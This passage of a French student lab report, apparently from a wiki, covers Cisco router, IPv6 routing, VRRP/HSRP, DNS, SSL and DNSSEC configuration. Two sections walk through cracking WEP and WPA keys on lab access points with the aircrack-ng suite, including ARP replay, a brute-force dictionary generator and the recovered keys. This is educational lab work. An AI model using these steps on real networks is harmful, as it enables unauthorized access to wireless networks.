Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).&lt;br /&gt;
======Dernière cause possible:Le routeur======&lt;br /&gt;
On se dit donc que le problème vient du routeur...&amp;lt;br /&amp;gt;&lt;br /&gt;
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:&lt;br /&gt;
&amp;lt;pre&amp;gt;rewrite ingress tag pop 1 symmetric&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Résultat '''OK'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ping 193.48.57.171&lt;br /&gt;
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 193.48.57.171 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 received, 0% packet loss, time 999ms&lt;br /&gt;
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 5e séance====&lt;br /&gt;
=====Configuration IPv6=====&lt;br /&gt;
Nous avons donc pu commencer la configuration IPv6 de notre routeur.&amp;lt;br /&amp;gt;&lt;br /&gt;
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64.&amp;lt;br /&amp;gt;&lt;br /&gt;
La configuration est la suivante, pour chaque BDI:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco(config)#int BDI6                                                          &lt;br /&gt;
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64                    &lt;br /&gt;
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900                &lt;br /&gt;
cisco(config-if)#ipv6 nd router-preference high                                 &lt;br /&gt;
cisco(config-if)#ipv6 enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration OSPF (IPv4)=====&lt;br /&gt;
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;router ospf 1&lt;br /&gt;
 router-id 10.60.2.1&lt;br /&gt;
 summary-address 10.60.0.0 255.255.0.0&lt;br /&gt;
 summary-address 193.48.57.160 255.255.255.240&lt;br /&gt;
 redistribute connected metric 30 subnets&lt;br /&gt;
 network 192.168.222.0 0.0.0.7 area 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration RIP (IPv6)=====&lt;br /&gt;
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ipv6 router rip tpima5sc&lt;br /&gt;
 redistribute connected metric 1&lt;br /&gt;
 redistribute static metric 1&lt;br /&gt;
 redistribute rip 1 metric 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
La prise en compte du protocole RIP dans la BDI130 est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI130&lt;br /&gt;
 ip address 192.168.222.1 255.255.255.248&lt;br /&gt;
 ipv6 address 2001:660:4401:60AA::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 ipv6 rip tpima5sc enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour confirmer notre résultat, nous regardons la table de routage IPv6:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; cisco#sh ipv6 route&lt;br /&gt;
IPv6 Routing Table - default - 65 entries&lt;br /&gt;
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route&lt;br /&gt;
       B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2&lt;br /&gt;
       IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external&lt;br /&gt;
       ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect&lt;br /&gt;
       O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2&lt;br /&gt;
       ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application&lt;br /&gt;
R   ::/0 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:60::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6000::/56 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6002::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6003::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6004::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6005::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6006::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration VRRP=====&lt;br /&gt;
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs.&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration VRRP de notre routeur:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI2&lt;br /&gt;
 ip address 10.60.2.1 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60B0::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 vrrp 1 ip 10.60.2.3&lt;br /&gt;
 vrrp 1 priority 110&amp;lt;/pre&amp;gt;&lt;br /&gt;
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons voir si notre configuration VRRP est effective : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco#sh vrrp&lt;br /&gt;
BDI12 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 193.48.57.173&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 193.48.57.171 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&lt;br /&gt;
BDI2 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 10.60.2.1 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Craquage de clé WEP=====&lt;br /&gt;
On bascule d’abord la carte en mode monitor : &lt;br /&gt;
&amp;lt;pre&amp;gt; airmon-ng start xxxxxxxx  &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite on scan tous les réseaux wifi captés par cette même carte :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –encrypt wep wlan 0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient :&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
 CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32                                         &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 44:AD:D9:5F:87:00  -44        2        0    0  11  54e. WEP  WEP         Wolverine                               &lt;br /&gt;
 04:DA:D2:9C:50:53  -66        2        0    0  13  54e. WEP  WEP         cracotte04                              &lt;br /&gt;
 04:DA:D2:9C:50:55  -70        2       91   35  13  54e. WEP  WEP         cracotte06                              &lt;br /&gt;
 04:DA:D2:9C:50:51  -69        4       33   13  13  54e. WEP  WEP         cracotte02                              &lt;br /&gt;
 04:DA:D2:9C:50:57  -67        3       44   19  13  54e. WEP  WEP         cracotte08                              &lt;br /&gt;
 04:DA:D2:9C:50:56  -69        2       38   11  13  54e. WEP  WEP         cracotte07                              &lt;br /&gt;
 04:DA:D2:9C:50:54  -68        2       37   14  13  54e. WEP  WEP         cracotte05                              &lt;br /&gt;
 04:DA:D2:9C:50:58  -70        2      175   70  13  54e. WEP  WEP         cracotte09                              &lt;br /&gt;
 04:DA:D2:9C:50:50  -68        0      142   52  13  -1   WEP  WEP         &amp;lt;length:  0&amp;gt;                            &lt;br /&gt;
 04:DA:D2:9C:50:52  -70        2      171   64  13  54e. WEP  WEP         cracotte03                              &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                         &lt;br /&gt;
                                                                                                                   &lt;br /&gt;
 04:DA:D2:9C:50:55  00:0F:B5:92:23:6B  -66    0 - 9e  1160       50                                                &lt;br /&gt;
 04:DA:D2:9C:50:51  00:0F:B5:92:24:51  -62    0 -48e    34        7                                                &lt;br /&gt;
 04:DA:D2:9C:50:57  00:0F:B5:92:22:66  -64    0 - 6e    31        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:56  00:0F:B5:92:23:71  -66    0 -48e    60        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:54  00:0F:B5:92:23:74  -70    0 -24e    52       11                                                &lt;br /&gt;
 04:DA:D2:9C:50:58  00:0F:B5:92:23:69  -62    0 -48e    12      140  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13&amp;lt;br /&amp;gt;&lt;br /&gt;
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 &amp;lt;/pre&amp;gt; &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.&lt;br /&gt;
&amp;lt;pre&amp;gt; aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : &amp;lt;pre&amp;gt;aircarck-ng out_ox.cap&amp;lt;/pre&amp;gt; avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées. &lt;br /&gt;
&lt;br /&gt;
On a alors réussi notre craquage au bout de quelque minutes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:01] Tested 785 keys (got 1349085 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  2   EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520) &lt;br /&gt;
    1    1/  4   DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728) &lt;br /&gt;
    2   47/  2   DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480) &lt;br /&gt;
    3    1/  2   26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520) &lt;br /&gt;
    4    4/  4   F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 6e séance (additionnel) ====&lt;br /&gt;
=====Configuration HSRP=====&lt;br /&gt;
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Sstandby 1 ip 10.60.X.3&lt;br /&gt;
standby 1 preempt&lt;br /&gt;
standby 1 priority 100&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby !&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;BDI2 - Group 1 (version 2)&lt;br /&gt;
  State is Standby&lt;br /&gt;
    7 state changes, last state change 00:01:16&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)&lt;br /&gt;
    Local virtual MAC address is 0000.0c9f.f001 (v2 default)&lt;br /&gt;
  Hello time 3 sec, hold time 10 sec&lt;br /&gt;
    Next hello sent in 0.128 secs&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)&lt;br /&gt;
    MAC address is d4d7.4842.53c1&lt;br /&gt;
  Standby router is local&lt;br /&gt;
  Priority 100 (default 100)&lt;br /&gt;
  Group name is &amp;quot;Vlan2&amp;quot; (cfgd)&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Craquage clé WPA =====&lt;br /&gt;
&lt;br /&gt;
Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.&lt;br /&gt;
Pour le craquage WPA, il nous faut 2 éléments : &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un fichier d'échange contenant le handshake &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.  &lt;br /&gt;
&lt;br /&gt;
Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :&lt;br /&gt;
&amp;lt;pre&amp;gt;  airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55  wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake. &lt;br /&gt;
&lt;br /&gt;
En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
	FILE *fp=fopen(&amp;quot;dico.txt&amp;quot;,&amp;quot;w+&amp;quot;);&lt;br /&gt;
	int i =0;&lt;br /&gt;
	for(i=0;i&amp;lt;=99999999;i++){&lt;br /&gt;
		fprintf(fp,&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
	}&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :&lt;br /&gt;
&amp;lt;pre&amp;gt;  aircrack-ng -w dico.txt dump-02.cap &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient avec succès au bout de quelque minutes : &lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                   [01:01:47] 12399904 keys tested (3519.77 k/s)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 12399907 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD &lt;br /&gt;
                       D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47 &lt;br /&gt;
                       7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B &lt;br /&gt;
                       2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A &lt;br /&gt;
                       07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration DNS=====&lt;br /&gt;
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous installons les paquets bind9, ainsi que apache2.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone)&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration de ces 2 fichiers :&amp;lt;br /&amp;gt;&lt;br /&gt;
named.conf.local :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;zone &amp;quot;speedflash.space&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.speedflash.space&amp;quot;;&lt;br /&gt;
        allow-transfer {217.70.177.40;};&lt;br /&gt;
};&amp;lt;/pre&amp;gt;&lt;br /&gt;
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave.&amp;lt;br /&amp;gt;&lt;br /&gt;
db.speedflash.space:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;;&lt;br /&gt;
; BIND data file for local loopback interface&lt;br /&gt;
;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.speedflash.space. root.speedflash.space (&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
        IN      NS      ns.speedflash.space.&lt;br /&gt;
ns      IN      A       193.48.57.165&lt;br /&gt;
www     IN      A       193.48.57.165&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, pour faire fonctionner le tout, on relance bind : &amp;lt;pre&amp;gt; service bind9 restart &amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;tail /var/log/daemon.log | grep named&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: all zones loaded&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: running&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Securisation de site par SSL=====&lt;br /&gt;
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key&lt;br /&gt;
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem&amp;lt;/pre&amp;gt;&lt;br /&gt;
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Flash:/etc/bind# c_rehash /etc/ssl/certs&lt;br /&gt;
Doing /etc/ssl/certs&lt;br /&gt;
speedflash.space.crt =&amp;gt; ac112f31.0&lt;br /&gt;
speedflash.space.crt =&amp;gt; a88e5e47.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 0cad7ee9.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 3a57595e.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; 816e77e4.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; de4674a3.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''000-speedflash.space-ssl.conf''' afin d'associer APACHE et notre nom de serveur : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;#NameVirtualHost *:443&lt;br /&gt;
        &amp;lt;VirtualHost 193.48.57.165:443&amp;gt;&lt;br /&gt;
                ServerName www.speedflash.space&lt;br /&gt;
                ServerAlias speedflash.space&lt;br /&gt;
                DocumentRoot /var/www/www.speedflash.space/&lt;br /&gt;
                CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
&lt;br /&gt;
                SSLEngine on&lt;br /&gt;
                SSLCertificateFile /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
                SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key&lt;br /&gt;
                SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem&lt;br /&gt;
                SSLVerifyClient None&lt;br /&gt;
        &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/www.speedflash.space&amp;gt;&lt;br /&gt;
                Require all granted&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
ServerName &amp;quot;speedflash.space&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''ports.conf''' du serveur Apache pour qu'il écoute le port 443 (SSL):&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Listen 80 443&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
        Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
        #NameVirtualHost *:443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut activer le module SSL de Apache : &amp;lt;pre&amp;gt; a2enmod ssl&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc activer notre Apache avec notre certificat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf &lt;br /&gt;
Enabling site 000-speedflash.space-ssl.&lt;br /&gt;
root@Flash:/etc/bind# service apache2 reload&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert.&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:SSLSite.png]]&lt;br /&gt;
&lt;br /&gt;
=====Securisation de DNS par DNSSEC=====&lt;br /&gt;
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
l'option -r /dev/urandom est ici pour accélérer la génération des clés &amp;lt;br /&amp;gt;&lt;br /&gt;
Nous incluons les clés dans le fichier de zone db.speedflash.space : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key&lt;br /&gt;
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key&amp;lt;/pre&amp;gt;&lt;br /&gt;
On signe donc la zone : &amp;lt;br /&amp;gt;&lt;br /&gt;
